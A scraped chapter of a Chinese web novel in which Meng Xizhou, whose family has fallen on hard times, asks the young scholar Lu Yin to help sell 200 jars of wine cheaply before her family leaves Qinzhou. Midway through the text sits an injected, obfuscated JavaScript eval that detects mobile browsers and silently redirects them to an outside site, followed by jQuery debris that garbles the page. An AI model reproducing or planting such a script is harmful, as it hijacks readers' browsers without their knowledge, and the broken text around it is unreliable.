默认冷灰
24号文字
方正启体

3. 卖酒

作者:风里听风本书字数:K更新时间:
    孟家来了状元郎,除了小女儿孟流光因感染风寒,被甘妈妈照料着早早睡下外,其余人等听到动静后都去了正厅迎接。


    此时的孟家非同昔比,没有前呼后拥的仆人伺候,也无像样的茶水招待,唯有两个一老一少两个男仆侍立在侧,很是寒酸。


    众人分宾主坐定,便见屋里正中央立着的黄铜暖炉里,烧着黏黏糊糊的银丝碳。


    那碳是去岁剩下的,经过一年的风雨,表里潮湿不一,时不时地升腾起一律浓厚白烟,火星时隐时现。


    望着股股烟流,李素脸上有些僵硬,唯恐慢待了客人。


    好在双方都视对方为恩人,只客气端方地叙问寒温,表达珍重保养身子的关心情谊。


    本来两家一官一商,八竿子打不着的关系,不过为着陆家救过孟家人的命,孟家又为了陆家人的声誉丢了一条命,两家人才有了牵扯。


    等双方都把各自的近况委婉表叙过后,话头自然而然地扯到即将到来的宋夏灵州之战上了,气氛陡然凝重起来。


    人人脸上都生出寒霜,李素喟叹不已,徐柳两只眼睛盯着脚下一块方砖不语,他倒是想破口大骂,但因不合时宜。只得作罢。


    小郎君本就是个冰棱子,倒无所谓表情有无更加低沉。


    孟溪舟撇了撇嘴,偷眼瞧陆隐了无生气的面庞,她不信人生来就满脸死气,他十七岁成为状元郎,要说没有意气风发的时候,谁信呢!银鞍照白马,飒沓如流星,当是汴京城里的胜景。眼下暮气沉沉,是母亲早亡、父兄接连离世等种种不幸打击造成的吧。


    在心里狠狠叹息几回,柔肠百转。别说,状元郎模样真个儿极好,可惜世事无常,被作践到这般潦草地步,徐叔说钦慕他的京城贵女不计其数,哎,那么便是说要有无数的少女伤心流泪了。


    可惜。


    真是可惜。


    陆隐撇了一眼静静立在自己母亲身旁的孟溪舟,白皙生光的小脸上,一双忽闪忽闪的眼睛比浸在水里的宝石还要亮,月光一照,温润可爱,但不知为何作出一忽儿严肃、一忽儿浅笑的表情。


    当他从李素口中得知孟家要捐上等的羊羔酒四百坛,且即将离开秦州城的时候,便明白了那笑意,小娘子聪明过人,怕是不想捐,是要卖给他吧!


    想起她看他如见财神爷的目光,陆隐感叹她这份心计终究要落空了。


    话到此事,孟溪舟抓住话头,柔声问道:“陆郎君,可否请问,刺史大人何时派人到永州和利州押运军需呢?”


    来了。这小娘子难道打的是军需的主意,胆子忒大,想孟棠舍命报恩,是顶天立地的汉子,他的女儿怎会如此狭隘肤浅。


    一时有些恼怒,幸而他脸上本就惨白无光,便是多添上一道发青的不满惆怅情绪,别人也体察不到,顶多认为他一路奔波劳累,以至于脸色发青。


    往好处想,也算是他喜怒不形于色了。


    孟溪舟眼中,他坐得僵直,若非会喘气儿能说话,跟个死人也差不离。


    稍顷,他半阖眼皮,并把眉头微蹙,淡声道:“利州那边的借款由利州衙门派专人护送,明日便到。”


    喔,表情看上去不太好呀。


    孟溪舟向陆隐弯腰行了一礼,落落大方地道,“我家因经营不善,早几个月前将房屋宅子抵了出去,再过两日便是还债的日期了。莫说没有银钱保住宅子,便是离开秦州到别处谋活路的盘缠都没能凑出来。


    “恳求郎君一事,我家羊羔酒本有六百坛,感念陆老将军之恩,情愿献出四百坛,提前祝灵州军斩尽西夏铁骑,建立奇功伟业。另外剩余的二百坛,不知郎君可否作为中间人,同利州来的管事之人说和,我家情愿低价出售,只求能得个外出讨生活的食宿费。”


    听她前半段话时,陆隐几乎将眼睛完全闭上了,倒不知他是拿耳朵还是眼睛听人讲话的。


    到后半段时,便有些庆幸没有自以为是地呵斥她,暗自痛骂自己以小人之心度君子之腹,那张脸适时地褪去青白冰冷,爬上了点热辣。


    他重新抬眼,礼貌地注视着她,轻声问:“孟娘子原本打算搭乘便车,将酒运送到利州贩卖么?”


    孟溪舟乖巧点头:“是。”


    陆隐沉吟稍息,道:“我来找人。”


    “不必了。”孟溪舟摇头拒绝。


    秦州城内粮价飞涨,而酒这种不能让人温饱的非必要商品,价格只会飞速下跌。她的酒质量上乘,奈何生不逢时,运到别处能得个高高的价,在秦州城内卖,本钱都难收回。那帮运输饷银的兵卒不是傻子,绝对会使劲儿压价。


    陆隐已经允诺为她寻人运货,她何苦拒绝呢?


    孟溪舟原先的计划是借助陆隐的东风,省下一笔运费,或者说,那四百坛美酒便是报酬。只是酒运到后呢,她需要当天便租赁下库房储存,然后寻找买家,或批发或散卖。


    当她在帮助母亲收拾行李的时候,发觉家里没钱了,是租不起仓房的,甚至再过几日,吃饭住宿都成问题,况且无论利州还是永州,人生地不熟,她没有把握能立即赚到钱。


    这迫使她改变了主意,人在屋檐下,她得做有把握的事,少赚点,先能保证活命。


    她也不想挟恩图报,灵州战事迫在眉睫,陆小郎君当有许多军务要办,怎能为了区区两百坛子酒分神呢,他的时间太宝贵了,不该浪费在此俗务上。


    所以,计划变成:请状元郎念着两家的情谊,心生怜悯,答应帮忙卖酒。


    一直候在一旁的徐柳忍不住了,他拍了一下肚皮,干脆豪爽地道:“元娘,莫要推辞……”


    “不,非是推辞。”孟溪舟打断徐柳的话,俏皮一笑道,“乃是我需要快快儿地回笼资金,然后带着我娘和妹妹到陵川县,去投奔我舅舅。”


    “晚个把月去,不耽搁,你们孤儿寡母不容易,多挣点钱总是好的。”徐柳再劝。


    原本要赔个底儿朝天的买卖,突然有了转机,能搂回来点银子,李素十分惊喜,果然自己女儿是个能干聪慧的,把酒卖到军营,是她从未想过的主意,毕竟以前只有往灵州军营送酒的份。


    李素一改萎靡不振,笑着把话接过去道:“我娘家侄子要成婚了,我们想赶在他成亲前把事情办妥,好安心回去喝喜酒。”


    陆隐微不可察地叹息了一声,怎会不懂这是孟家人不愿烦扰自己的托词。然而话说到这个份儿上,他不好多做强求,便问道:“不知夫人和孟娘子内心对酒价可有预期?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286314|182611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    孟溪舟与母亲对望了一眼,李素朝她微微点头,表示自己愿意以她的想法为主。


    眼下正是趁火打劫的好时候,能给出腰斩的价格便算是有良心的人了,若不能,自己提出高价来,反倒让中间人为难。


    “我家羊羔酒每坛的用料成本是九百二十二文,两百坛便是一百八十四贯又四百钱。非常时期,便只要八十贯钱就好。”孟溪舟老实答道。


    总共五百多贯的成本,只能收回来八十贯,这单买卖真个儿是血本无归了。


    一番话听得徐柳细长的眼睛瞪得比鸡蛋还大,一双手不住地在肚皮上来回拍打,低声骂了自己一句“乌鸦嘴”,双目热切地望向陆隐,分明是求郎君想办法,别让孟家亏的太厉害的意思。


    陆隐眉头拧得跟麻绳似的,不知道是不是被徐柳身上破铜烂铁的声音烦的,但他涵养很高,只是沉凝点头,算是答应了孟溪舟所求。


    在徐柳的唉声叹气里,最大的事情敲定,窗外月牙儿爬上中天,二人起身告辞,约定明日未时末来拉货。


    第二日未正,徐柳便领着两队人马来装货了,都是簇新的铠甲,孟溪舟也分不清哪队是利州人,哪队是要去往灵州的,徐柳告诉她酒钱晚些时候送来。


    站在库房门口,孟溪舟眼见着他们笑嘻嘻地来回忙碌,忽而心酸,忽而不舍,忽而又轻松,胸口憋闷,不知是什么滋味。


    但最应该有的是开心才对!毕竟回了点本。


    天上的日头闪着灰蒙蒙的光晕,云朵耀武扬威地一团一团地堆在天空。她想,怎么才晴好一日,就又要变天了么?


    “大侄女儿诶!”


    孟溪舟闻言扭头,看到一个比自己还要垂头丧气的悲伤葫芦。


    “徐叔,怎么这般不快,可是小郎君那边有事?”


    徐柳细长的眼睛忽地一亮,赞赏道:“大侄女儿,你真是料事如神,咱们借一步说话。我这心里头苦啊!”


    在秦州城,能让他长吁短叹的怕也只有陆郎君了,有何难猜的。孟溪舟轻笑。


    倒座房已经空了,孟溪舟边说着安慰的话,边抬手示意徐柳一块儿去倒座房门口石凳上坐。


    家中二进院里母亲和甘妈妈在做最后的整理,乱哄哄的,不好待客。三进院是她与妹妹孟流光的卧房,妹妹还在病中,更加不适宜外男乱闯了。


    “徐叔尽管对我说,我能帮的绝不推脱。”


    徐柳往石凳上一坐,拧一把大腿,仿似下了天大的决心,以绝不符合他大大咧咧性子的扭捏姿态,低声道:“这话本不该跟你小娘子说,但你是老徐我见过的最有谋略的姑娘了,也许元娘你能有法子。”


    “徐叔但讲无妨。”孟溪舟见一向豪爽的徐柳,竟如此郑重且小心,好奇心一下便被吊了起来,便再次催促。


    “你有没有发觉,小郎君他很似将死之人?”


    这话问得神神叨叨的,但梦溪舟只略略一顿,便很认真庄重地点了头。


    那双冷而美的桃花眼里,几乎没有活人气,家人皆亡,踽踽独行,世间若再无挂心之事,可不就是活到头了么!


    但徐柳的话过于鬼气森森,孟溪舟纠正他道:“郎君心有死志,存着以身殉国的念头。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)